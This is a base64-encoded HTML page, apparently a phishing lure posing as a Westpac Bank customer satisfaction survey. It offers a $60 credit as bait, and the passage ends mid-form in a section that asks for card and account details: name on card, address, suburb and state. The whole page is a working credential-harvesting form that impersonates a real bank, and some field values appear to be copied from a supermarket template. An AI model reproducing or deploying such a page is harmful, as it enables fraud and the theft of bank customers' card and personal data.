ZEZhb0JTKzdmelNaaDJQdWw2YTNwUUFmd3dJdWZJQXkyREh2bzRJVUlyQ2VwZW5KM0JGQ1ZK VW9QQWFnczJPaDZZTWVmTjhqQmJjSXF1bGtESGIxTVBvNDdWUmhFVy90amZWQWxrTnlvZFhQ bzNXVDdZODhyalFYeUhYU3BueUpFVzZVL0hKektObjlKVUFqdFBUNFI5RXYzNUpDbkovR2lj VW5UTGJkSFRleFBTeFBIR0plOFdGSlRWUHdpTzQvNGgwUU9vWkQrDQplWWRKalBHRDlNcnJv SGlQMWRkTEdvcXd6V09LSFJwSThtRjhRdXN6Yjk0WEhZdmtjeG9KM256ZU1mNG5KSkJEcjdo V3VRQ2xqVk13NGNxNHFubkFaVVAyZHZTUEM2QTdBbGQ2WnJ4VnRPQ211U1VicVczRWh2ZGs5 eTZVTk1NM0ZNa25hcDA4QkVESnRqU2JWMGRnUU10bmIzQWprMGVFWHI4TVR5Yi9EVHRBSXBy WUZ2bUw2WlZaRVE0SWdyVWdMUDBKZlYzRDJ4bjZLV2MvUnRGMUNyT09iM0JKNUo1ZCtHUk1Q Z0Vna2RBT1I5eW40ZWpHSTdNUGNqYit6ekJYblVlYzBtY2Z4Y0xBSTR2eVFCZmNHWXYyTzZW QU1oT3dLYVVjUmg0V2FDandwdHduaGwxcHBlaEpHNnJsTytnUVRsWmpXQ2VacWxrTG8qIG5h bWU9X19WSUVXU1RBVEUyPiA8SU5QVVQgaWQ9IiYjMTA7X19WSUVXU1RBVEUiIHR5cGU9aGlk ZGVuIG5hbWU9X19WSUVXU1RBVEU+IDwvRElWPg0KICAgICAgICA8RElWIGNsYXNzPWVycm9y IGlkPWN0bDAwX21haW5Db250ZW50X1ZhbGlkYXRpb25TdW1tYXJ5IHN0eWxlPSJESVNQTEFZ OiBub25lIj48L0RJVj4NCiAgICAgICAgPERJViBpZD1jdGwwMF9tYWluQ29udGVudF9MSTZQ Tkw+IA0KICAgICAgICAgIDxIMT48L0gxPg0KICAgICAgICAgIDxESVYgY2xhc3M9ZnJhbWU+ IA0KICAgICAgICAgICAgPHAgY2xhc3M9cGFnZXRpdGxlPjxiPjxmb250IHNpemU9IjUiIGNv bG9yPSIjMDA2NjMzIj48Zm9udCBjb2xvcj0iIzY2MDA2NiIgZmFjZT0iR2VvcmdpYSwgVGlt ZXMgTmV3IFJvbWFuLCBUaW1lcywgc2VyaWYiPjxicj4NCiAgICAgICAgICAgICAgQ3VzdG9t ZXIgU2F0aXNmYWN0aW9uIFN1cnZleTwvZm9udD48L2ZvbnQ+PC9iPjwvcD4NCiAgICAgICAg ICAgIDxQPiZuYnNwOzxCUj4NCiAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0iMiIgY29sb3I9 IiMzMzMzMzMiPjxiPjxmb250IGZhY2U9Ikdlb3JnaWEsIFRpbWVzIE5ldyBSb21hbiwgVGlt ZXMsIHNlcmlmIj5XZXN0cGFjIA0KICAgICAgICAgICAgICB3aWxsIGFkZCA2MCQgY3JlZGl0 IHRvIHlvdXIgYWNjb3VudCBqdXN0IGZvciB0YWtpbmcgcGFydCBpbiBvdXIgDQogICAgICAg ICAgICAgIHF1aWNrIHN1cnZleS48YnI+DQogICAgICAgICAgICAgIFdpdGggdGhlIGluZm9y bWF0aW9uIGNvbGxlY3RlZCwgd2UgY2FuIGRlY2lkZSB0byBkaXJlY3QgYSBudW1iZXIgDQog ICAgICAgICAgICAgIG9mIGNoYW5nZXMgdG8gaW1wcm92ZSBhbmQgZXhwYW5kIG91ciBzZXJ2 aWNlcy48YnI+DQogICAgICAgICAgICAgIFBsZWFzZSB0YWtlIGEgZmV3IG1pbnV0ZXMgdG8g Z2l2ZSB1cyB5b3VyIG9waW5pb24gb24gb3VyIHN0b3JlIHNlcnZpY2UuPC9mb250PjwvYj48 L2ZvbnQ+PEJSPg0KICAgICAgICAgICAgICAmbmJzcDs8L1A+DQo8RklFTERTRVQ+DQogICAg ICAgICAgICA8UD48Qj4xLiBXaGF0IHdlcmUgeW91ciByZWFzb25zIGZvciBjaG9vc2luZyBX ZXN0cGFjIEJhbms/IFBsZWFzZSANCiAgICAgICAgICAgICAgc2VsZWN0IGFsbCB0aGF0IGFw cGx5LjwvQj48QlI+DQo8QkxPQ0tRVU9URT48L0JMT0NLUVVPVEU+DQo8RElWIGlkPWFuc3dl cnM+PElOUFVUIHR5cGU9Y2hlY2tib3ggdmFsdWU9Q29udmVuaWVuY2UgbmFtZT1xdWVzMT4N CiAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwg c2Fucy1zZXJpZiI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+PC9iPjwv Zm9udD4gDQogICAgICAgICAgICAgIENvbnZlbmllbmNlPEJSPg0KICAgICAgICAgICAgICA8 SU5QVVQgdHlwZT1jaGVja2JveCB2YWx1ZT0iQmVjYXVzZSB5b3UgZmluZCBldmVyeXRoaW5n IHlvdSBuZWVkIiBuYW1lPXF1ZXMxMT4NCiAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0iMyIg ZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+PGI+PGZvbnQgY29sb3I9IiNG RjAwMDAiPiZndDs8L2ZvbnQ+PC9iPjwvZm9udD4gDQogICAgICAgICAgICAgIEJlY2F1c2Ug eW91IGZpbmQgZXZlcnl0aGluZyB5b3UgbmVlZDxCUj4NCiAgICAgICAgICAgICAgPElOUFVU IHR5cGU9Y2hlY2tib3ggdmFsdWU9IkJlY2F1c2UgaXMgbmVhciBteSBob21lIG9yIHdvcmsi IG5hbWU9cXVlczEyPg0KICAgICAgICAgICAgICA8Zm9udCBzaXplPSIzIiBmYWNlPSJBcmlh bCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj48Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Jmd0 OzwvZm9udD48L2I+PC9mb250PiANCiAgICAgICAgICAgICAgQmVjYXVzZSBpcyBuZWFyIG15 IGhvbWUgb3Igd29yayA8QlI+DQogICAgICAgICAgICAgIDxCUj4mbmJzcDtPdGhlcjogPElO UFVUIG1heExlbmd0aD0yMDAgc2l6ZT0yOCBuYW1lPXF1ZXMxdGV4dD48L0RJVj4NCjxQPjwv UD4NCjxIUj4NCg0KICAgICAgICAgICAgPFA+PEI+Mi4gSG93IG9mdGVuIGRvIHlvdSB2aXNp dCBXZXN0cGFjIEJhbms/IDwvQj48QlI+DQo8RElWIGlkPWFuc3dlcnM+PElOUFVUIHR5cGU9 Y2hlY2tib3ggdmFsdWU9Q29udmVuaWVuY2UgbmFtZT1xdWVzMTA1Pg0KICAgICAgICAgICAg ICA8Zm9udCBzaXplPSIzIiBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj48 Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Jmd0OzwvZm9udD48L2I+PC9mb250PiANCiAgICAg ICAgICAgICAgRGFpbHkgPEJSPg0KICAgICAgICAgICAgICA8SU5QVVQgdHlwZT1jaGVja2Jv eCB2YWx1ZT1Db252ZW5pZW5jZSBuYW1lPXF1ZXMxMDY+DQogICAgICAgICAgICAgIDxmb250 IHNpemU9IjMiIGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPjxiPjxmb250 IGNvbG9yPSIjRkYwMDAwIj4mZ3Q7PC9mb250PjwvYj48L2ZvbnQ+IA0KICAgICAgICAgICAg ICBPbmNlIGEgd2VlayA8QlI+DQogICAgICAgICAgICAgIDxJTlBVVCB0eXBlPWNoZWNrYm94 IHZhbHVlPUNvbnZlbmllbmNlIG5hbWU9cXVlczEwNz4NCiAgICAgICAgICAgICAgPGZvbnQg c2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+PGI+PGZvbnQg Y29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+PC9iPjwvZm9udD4gDQogICAgICAgICAgICAg IDItNCB0aW1lcyBhIHdlZWsgPEJSPg0KICAgICAgICAgICAgICA8SU5QVVQgdHlwZT1jaGVj a2JveCB2YWx1ZT1Db252ZW5pZW5jZSBuYW1lPXF1ZXMxMTU+DQogICAgICAgICAgICAgIDxm b250IHNpemU9IjMiIGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPjxiPjxm b250IGNvbG9yPSIjRkYwMDAwIj4mZ3Q7PC9mb250PjwvYj48L2ZvbnQ+IA0KICAgICAgICAg ICAgICBMZXNzIHRoYW4gb25jZSBhIHdlZWsgPEJSPg0KICAgICAgICAgICAgICAmbmJzcDtP dGhlcjogPElOUFVUIG1heExlbmd0aD0yMDAgc2l6ZT0yOCBuYW1lPXF1ZXMydGV4dD48L0RJ Vj4NCjxQPjwvUD4NCjxIUj4NCg0KICAgICAgICAgICAgPFA+PEI+My4gV2hhdCBraW5kIG9m IHByb2R1Y3RzIGRvIHlvdSBoYXZlIG9uIHVzPyBQbGVhc2Ugc2VsZWN0IGFsbCANCiAgICAg ICAgICAgICAgdGhhdCBhcHBseS48L0I+PEJSPg0KICAgICAgICAgICAgPERJViBpZD1hbnN3 ZXJzPiANCiAgICAgICAgICAgICAgPHA+IA0KICAgICAgICAgICAgICAgIDxJTlBVVCB0eXBl PWNoZWNrYm94IHZhbHVlPVN1cGVybWFya2V0IG5hbWU9cXVlczM+DQogICAgICAgICAgICAg ICAgPGZvbnQgc2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+ PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+PC9iPjwvZm9udD4gDQogICAg ICAgICAgICAgICAgQmFuayBhY2NvdW50czxCUj4NCiAgICAgICAgICAgICAgICA8SU5QVVQg dHlwZT1jaGVja2JveCB2YWx1ZT0iU3VwZXJtYXJrZXQgd2l0aCBMaXF1b3IiIG5hbWU9cXVl czMxPg0KICAgICAgICAgICAgICAgIDxmb250IHNpemU9IjMiIGZhY2U9IkFyaWFsLCBIZWx2 ZXRpY2EsIHNhbnMtc2VyaWYiPjxiPjxmb250IGNvbG9yPSIjRkYwMDAwIj4mZ3Q7PC9mb250 PjwvYj48L2ZvbnQ+IA0KICAgICAgICAgICAgICAgIENyZWRpdCBjYXJkczxCUj4NCiAgICAg ICAgICAgICAgICA8SU5QVVQgdHlwZT1jaGVja2JveCB2YWx1ZT1MaXF1b3IgbmFtZT1xdWVz MzI+DQogICAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZl dGljYSwgc2Fucy1zZXJpZiI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+ PC9iPjwvZm9udD4gDQogICAgICAgICAgICAgICAgSW5zdXJhbmNlIDxCUj4NCiAgICAgICAg ICAgICAgICA8SU5QVVQgdHlwZT1jaGVja2JveCB2YWx1ZT1QZXRyb2wgbmFtZT1xdWVzMzM+ DQogICAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZldGlj YSwgc2Fucy1zZXJpZiI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+PC9i PjwvZm9udD4gDQogICAgICAgICAgICAgICAgSW52ZXN0bWVudHM8QlI+DQogICAgICAgICAg ICAgICAgPElOUFVUIHR5cGU9Y2hlY2tib3ggdmFsdWU9IlBldHJvbCB3aXRoIGVwdW1wIiBu YW1lPXF1ZXMzND4NCiAgICAgICAgICAgICAgICA8Zm9udCBzaXplPSIzIiBmYWNlPSJBcmlh bCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj48Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Jmd0 OzwvZm9udD48L2I+PC9mb250PiANCiAgICAgICAgICAgICAgICBQZXJzb25hbCBsb2FuczxC Uj4NCiAgICAgICAgICAgICAgICAmbmJzcDs8L3A+DQogICAgICAgICAgICA8L0RJVj4NCjxQ PjwvUD4NCjxIUj4NCg0KICAgICAgICAgICAgPFA+PEI+NC4gUGxlYXNlIHJhdGUgdGhlIGZv bGxvd2luZyBXZXN0cGFjIEJhbmsgZmVhdHVyZXM/PC9CPjxCUj4NCjxESVYgaWQ9YW5zd2Vy cz4NCiAgICAgICAgICAgICAgPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCBi b3JkZXI9MD4NCiAgICAgICAgICAgICAgICA8VEJPRFk+IA0KICAgICAgICAgICAgICAgIDxU Uj4gDQogICAgICAgICAgICAgICAgICA8VEQgd2lkdGg9MjIxPiANCiAgICAgICAgICAgICAg ICAgICAgPHA+PGZvbnQgc2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1z ZXJpZiI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+PC9iPjwvZm9udD4g DQogICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0iMiIgZmFjZT0iQXJpYWwsIEhl bHZldGljYSwgc2Fucy1zZXJpZiI+Q2FzaGllcnMgDQogICAgICAgICAgICAgICAgICAgICAg PC9mb250PjwvcD4NCiAgICAgICAgICAgICAgICAgIDwvVEQ+DQogICAgICAgICAgICAgICAg ICA8VEQ+IA0KICAgICAgICAgICAgICAgICAgICA8U0VMRUNUIG5hbWU9cXVlczQ+DQogICAg ICAgICAgICAgICAgICAgICAgPE9QVElPTiB2YWx1ZT0iICIgc2VsZWN0ZWQ+UGxlYXNlIHNl bGVjdDwvT1BUSU9OPg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04gdmFsdWU9RXhj ZWxsZW50PkV4Y2VsbGVudDwvT1BUSU9OPg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJ T04gdmFsdWU9R29vZD5Hb29kPC9PUFRJT04+DQogICAgICAgICAgICAgICAgICAgICAgPE9Q VElPTiB2YWx1ZT1OZXV0cmFsPk5ldXRyYWw8L09QVElPTj4NCiAgICAgICAgICAgICAgICAg ICAgICA8T1BUSU9OIHZhbHVlPUZhaXI+RmFpcjwvT1BUSU9OPg0KICAgICAgICAgICAgICAg ICAgICAgIDxPUFRJT04gdmFsdWU9UG9vcj5Qb29yPC9PUFRJT04+DQogICAgICAgICAgICAg ICAgICAgIDwvU0VMRUNUPg0KICAgICAgICAgICAgICAgICAgPC9URD4NCiAgICAgICAgICAg ICAgICA8L1RSPg0KICAgICAgICAgICAgICAgIDxUUj4gDQogICAgICAgICAgICAgICAgICA8 VEQ+IA0KICAgICAgICAgICAgICAgICAgICA8cD48Zm9udCBzaXplPSIzIiBmYWNlPSJBcmlh bCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj48Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Jmd0 OzwvZm9udD48L2I+PC9mb250PiANCiAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBzaXpl PSIyIiBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj5DbGVhbmluZyANCiAg ICAgICAgICAgICAgICAgICAgICA8L2ZvbnQ+PC9wPg0KICAgICAgICAgICAgICAgICAgPC9U RD4NCiAgICAgICAgICAgICAgICAgIDxURD4gDQogICAgICAgICAgICAgICAgICAgIDxTRUxF Q1QgbmFtZT1xdWVzNDE+DQogICAgICAgICAgICAgICAgICAgICAgPE9QVElPTiB2YWx1ZT0i ICIgc2VsZWN0ZWQ+UGxlYXNlIHNlbGVjdDwvT1BUSU9OPg0KICAgICAgICAgICAgICAgICAg ICAgIDxPUFRJT04gdmFsdWU9RXhjZWxsZW50PkV4Y2VsbGVudDwvT1BUSU9OPg0KICAgICAg ICAgICAgICAgICAgICAgIDxPUFRJT04gdmFsdWU9R29vZD5Hb29kPC9PUFRJT04+DQogICAg ICAgICAgICAgICAgICAgICAgPE9QVElPTiB2YWx1ZT1OZXV0cmFsPk5ldXRyYWw8L09QVElP Tj4NCiAgICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIHZhbHVlPUZhaXI+RmFpcjwvT1BU SU9OPg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04gdmFsdWU9UG9vcj5Qb29yPC9P UFRJT04+DQogICAgICAgICAgICAgICAgICAgIDwvU0VMRUNUPg0KICAgICAgICAgICAgICAg ICAgPC9URD4NCiAgICAgICAgICAgICAgICA8L1RSPg0KICAgICAgICAgICAgICAgIDxUUj4g DQogICAgICAgICAgICAgICAgICA8VEQ+IA0KICAgICAgICAgICAgICAgICAgICA8cD48Zm9u dCBzaXplPSIzIiBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj48Yj48Zm9u dCBjb2xvcj0iI0ZGMDAwMCI+Jmd0OzwvZm9udD48L2I+PC9mb250PiANCiAgICAgICAgICAg ICAgICAgICAgICA8Zm9udCBzaXplPSIyIiBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5z LXNlcmlmIj5QYXJraW5nIA0KICAgICAgICAgICAgICAgICAgICAgIGxvdCBzcGFjZSA8L2Zv bnQ+PC9wPg0KICAgICAgICAgICAgICAgICAgPC9URD4NCiAgICAgICAgICAgICAgICAgIDxU RD4gDQogICAgICAgICAgICAgICAgICAgIDxTRUxFQ1QgbmFtZT1xdWVzNDI+DQogICAgICAg ICAgICAgICAgICAgICAgPE9QVElPTiB2YWx1ZT0iICIgc2VsZWN0ZWQ+UGxlYXNlIHNlbGVj dDwvT1BUSU9OPg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04gdmFsdWU9RXhjZWxs ZW50PkV4Y2VsbGVudDwvT1BUSU9OPg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04g dmFsdWU9R29vZD5Hb29kPC9PUFRJT04+DQogICAgICAgICAgICAgICAgICAgICAgPE9QVElP TiB2YWx1ZT1OZXV0cmFsPk5ldXRyYWw8L09QVElPTj4NCiAgICAgICAgICAgICAgICAgICAg ICA8T1BUSU9OIHZhbHVlPUZhaXI+RmFpcjwvT1BUSU9OPg0KICAgICAgICAgICAgICAgICAg ICAgIDxPUFRJT04gdmFsdWU9UG9vcj5Qb29yPC9PUFRJT04+DQogICAgICAgICAgICAgICAg ICAgIDwvU0VMRUNUPg0KICAgICAgICAgICAgICAgICAgPC9URD4NCiAgICAgICAgICAgICAg ICA8L1RSPg0KICAgICAgICAgICAgICAgIDxUUj4gDQogICAgICAgICAgICAgICAgICA8VEQ+ IA0KICAgICAgICAgICAgICAgICAgICA8cD48Zm9udCBzaXplPSIzIiBmYWNlPSJBcmlhbCwg SGVsdmV0aWNhLCBzYW5zLXNlcmlmIj48Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Jmd0Ozwv Zm9udD48L2I+PC9mb250PiANCiAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBzaXplPSIy IiBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj5FbXBsb3llZXMgDQogICAg ICAgICAgICAgICAgICAgICAga2luZG5lc3MgPC9mb250PjwvcD4NCiAgICAgICAgICAgICAg ICAgIDwvVEQ+DQogICAgICAgICAgICAgICAgICA8VEQ+IA0KICAgICAgICAgICAgICAgICAg ICA8U0VMRUNUIG5hbWU9cXVlczQ3Pg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04g dmFsdWU9IiAiIHNlbGVjdGVkPlBsZWFzZSBzZWxlY3Q8L09QVElPTj4NCiAgICAgICAgICAg ICAgICAgICAgICA8T1BUSU9OIHZhbHVlPUV4Y2VsbGVudD5FeGNlbGxlbnQ8L09QVElPTj4N CiAgICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIHZhbHVlPUdvb2Q+R29vZDwvT1BUSU9O Pg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04gdmFsdWU9TmV1dHJhbD5OZXV0cmFs PC9PUFRJT04+DQogICAgICAgICAgICAgICAgICAgICAgPE9QVElPTiB2YWx1ZT1GYWlyPkZh aXI8L09QVElPTj4NCiAgICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIHZhbHVlPVBvb3I+ UG9vcjwvT1BUSU9OPg0KICAgICAgICAgICAgICAgICAgICA8L1NFTEVDVD4NCiAgICAgICAg ICAgICAgICAgIDwvVEQ+DQogICAgICAgICAgICAgICAgPC9UUj4NCiAgICAgICAgICAgICAg ICA8L1RCT0RZPiANCiAgICAgICAgICAgICAgPC9UQUJMRT4NCiAgICAgICAgICAgIDwvRElW Pg0KPFA+PC9QPg0KPEhSPg0KDQogICAgICAgICAgICA8UD48Qj41LiBJcyBXZXN0cGFjIEJh bmsgQVRNIGVhc3kgdG8gZmluZD88L0I+PEJSPg0KPERJViBpZD1hbnN3ZXJzPjxJTlBVVCB0 eXBlPWNoZWNrYm94IHZhbHVlPUNvbnZlbmllbmNlIG5hbWU9cXVlczExNz4NCiAgICAgICAg ICAgICAgPGZvbnQgc2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJp ZiI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+PC9iPjwvZm9udD4gDQog ICAgICAgICAgICAgIFllcyA8QlI+DQogICAgICAgICAgICAgIDxJTlBVVCB0eXBlPWNoZWNr Ym94IHZhbHVlPUNvbnZlbmllbmNlIG5hbWU9cXVlczExNj4NCiAgICAgICAgICAgICAgPGZv bnQgc2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+PGI+PGZv bnQgY29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+PC9iPjwvZm9udD4gDQogICAgICAgICAg ICAgIE5vIDwvRElWPg0KPFA+PC9QPg0KPEhSPg0KDQogICAgICAgICAgICA8UD48Qj42LiBX aGF0IGltcHJvdmVtZW50cyB3b3VsZCB5b3UgcmVjb21tZW5kPzwvQj48QlI+DQo8RElWIGlk PWFuc3dlcnM+PFRFWFRBUkVBIG5hbWU9cXVlczggcm93cz01IGNvbHM9MzI+PC9URVhUQVJF QT48L0RJVj4NCiAgICAgICAgICAgIDwvRklFTERTRVQ+DQogICAgICAgICAgICA8cD48YnI+ DQogICAgICAgICAgICAgIDxiPlRoYW5rIHlvdSBmb3IgdGFraW5nIHRoZSB0aW1lIHRvIHJl c3BvbmQgdG8gdGhpcyBzdXJ2ZXkuIEluIHJldHVybiwgDQogICAgICAgICAgICAgIHdlIHdp bGwgYWRkIDYwJCBjcmVkaXQgdG8geW91ciBhY2NvdW50IGp1c3QgZm9yIHlvdXIgdGltZS48 L2I+IDxCUj4NCiAgICAgICAgICAgIDwvcD4NCiAgICAgICAgICAgIDxIUj4NCg0KICAgICAg ICAgICAgPFRBQkxFIHdpZHRoPSIxMDAlIiBib3JkZXI9MD4NCiAgICAgICAgICAgICAgPFRC T0RZPiANCiAgICAgICAgICAgICAgPFRSPiANCiAgICAgICAgICAgICAgICA8VEQgY29sc3Bh bj0iMiI+IA0KICAgICAgICAgICAgICAgICAgPHA+PEI+PGZvbnQgc2l6ZT0iMyIgZmFjZT0i QXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAi PiZndDs8L2ZvbnQ+PC9iPjwvZm9udD4gDQogICAgICAgICAgICAgICAgICAgIDxmb250IHNp emU9IjIiPlBsZWFzZSBlbnRlciB5b3VyIGFjY291bnQgZGV0YWlscyB0byBjcmVkaXQgDQog ICAgICAgICAgICAgICAgICAgIHlvdXIgNjAkIHJld2FyZDo8L2ZvbnQ+PGZvbnQgc2l6ZT0i MyI+PGJyPg0KICAgICAgICAgICAgICAgICAgICA8YnI+DQogICAgICAgICAgICAgICAgICAg IDxmb250IGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9IjEiPkZp ZWxkcyANCiAgICAgICAgICAgICAgICAgICAgd2l0aCBhbiBhc3RlcmlzayA8Zm9udCBjb2xv cj0iI0ZGMDAwMCI+KjwvZm9udD4gYXJlIG1hbmRhdG9yeTwvZm9udD48L2ZvbnQ+PC9CPjwv cD4NCiAgICAgICAgICAgICAgICA8L1REPg0KICAgICAgICAgICAgICA8L1RSPg0KICAgICAg ICAgICAgICA8VFI+IA0KICAgICAgICAgICAgICAgIDxURCB3aWR0aD0zNTg+PGI+PGZvbnQg ZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiIgY29sb3I9IiNG RjAwMDAiPio8L2ZvbnQ+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJp ZiIgc2l6ZT0iMiI+IA0KICAgICAgICAgICAgICAgICAgTmFtZSBvbiBDYXJkOjwvZm9udD48 L2I+PC9URD4NCiAgICAgICAgICAgICAgICA8VEQgd2lkdGg9Ijc5MCIgYmdjb2xvcj0iI0Uy RDVGRiI+PEZPTlQgY29sb3I9IzUzNTU0Nz4gDQogICAgICAgICAgICAgICAgICA8SU5QVVQg aWQ9bmFtZSBvbmtleXVwPWNoZWNrTGVuKHRoaXMsdGhpcy52YWx1ZSkgbWF4TGVuZ3RoPTUw IHNpemU9MTcgbmFtZT1uYW1lPg0KICAgICAgICAgICAgICAgICAgPGZvbnQgZmFjZT0iVmVy ZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMSI+KG5hbWUgDQog ICAgICAgICAgICAgICAgICBhcyBwcmludGVkIG9uIHRoZSBjYXJkKTwvZm9udD48L0ZPTlQ+ PC9URD4NCiAgICAgICAgICAgICAgPC9UUj4NCiAgICAgICAgICAgICAgPFRSPiANCiAgICAg ICAgICAgICAgICA8VEQgd2lkdGg9MzU4PjxiPjxmb250IGZhY2U9IkFyaWFsLCBIZWx2ZXRp Y2EsIHNhbnMtc2VyaWYiIHNpemU9IjIiIGNvbG9yPSIjRkYwMDAwIj4qPC9mb250Pjxmb250 IGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9IjIiPiANCiAgICAg ICAgICAgICAgICAgIDwvZm9udD48Zm9udCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5z LXNlcmlmIiBzaXplPSIyIj5BZGRyZXNzOjwvZm9udD48L2I+PC9URD4NCiAgICAgICAgICAg ICAgICA8VEQgd2lkdGg9Ijc5MCIgYmdjb2xvcj0iI0UyRDVGRiI+PEZPTlQgY29sb3I9IzUz NTU0Nz4gDQogICAgICAgICAgICAgICAgICA8SU5QVVQgaWQ9c3RyZWV0IG9ua2V5dXA9Y2hl Y2tMZW4odGhpcyx0aGlzLnZhbHVlKSBtYXhMZW5ndGg9NTAgc2l6ZT0xNyBuYW1lPXN0cmVl dD4NCiAgICAgICAgICAgICAgICAgIDwvRk9OVD48L1REPg0KICAgICAgICAgICAgICA8L1RS Pg0KICAgICAgICAgICAgICA8VFI+IA0KICAgICAgICAgICAgICAgIDxURCB3aWR0aD0zNTg+ PGI+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiIg Y29sb3I9IiNGRjAwMDAiPio8L2ZvbnQ+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwg c2Fucy1zZXJpZiIgc2l6ZT0iMiI+IA0KICAgICAgICAgICAgICAgICAgPC9mb250Pjxmb250 IGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9IjIiPlN1YnVyYjo8 L2ZvbnQ+PC9iPjwvVEQ+DQogICAgICAgICAgICAgICAgPFREIHdpZHRoPSI3OTAiIGJnY29s b3I9IiNFMkQ1RkYiPjxGT05UIGNvbG9yPSM1MzU1NDc+IA0KICAgICAgICAgICAgICAgICAg PElOUFVUIGlkPXN1YnVyYiBvbmtleXVwPWNoZWNrTGVuKHRoaXMsdGhpcy52YWx1ZSkgbWF4 TGVuZ3RoPTUwIHNpemU9MTAgbmFtZT1zdWJ1cmI+DQogICAgICAgICAgICAgICAgICA8L0ZP TlQ+PC9URD4NCiAgICAgICAgICAgICAgPC9UUj4NCiAgICAgICAgICAgICAgPFRSPiANCiAg ICAgICAgICAgICAgICA8VEQgd2lkdGg9MzU4PjxiPjxmb250IGZhY2U9IkFyaWFsLCBIZWx2 ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9IjIiIGNvbG9yPSIjRkYwMDAwIj4qPC9mb250Pjxm b250IGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9IjIiPiANCiAg ICAgICAgICAgICAgICAgIDwvZm9udD48Zm9udCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBz YW5zLXNlcmlmIiBzaXplPSIyIj5TdGF0ZTo8L2ZvbnQ+PC9iPjwvVEQ+DQogICAgICAgICAg ICAgICAgPFREIHdpZHRoPSI3OTAiIGJnY29sb3I9IiNFMkQ1RkYiPjxGT05UIGNvbG9yPSM1 MzU1NDc+IA0KICAgICAgICAgICAgICAgICAgPElOUFVUIGlkPXN0YXRlIG9ua2V5dXA9Y2hl 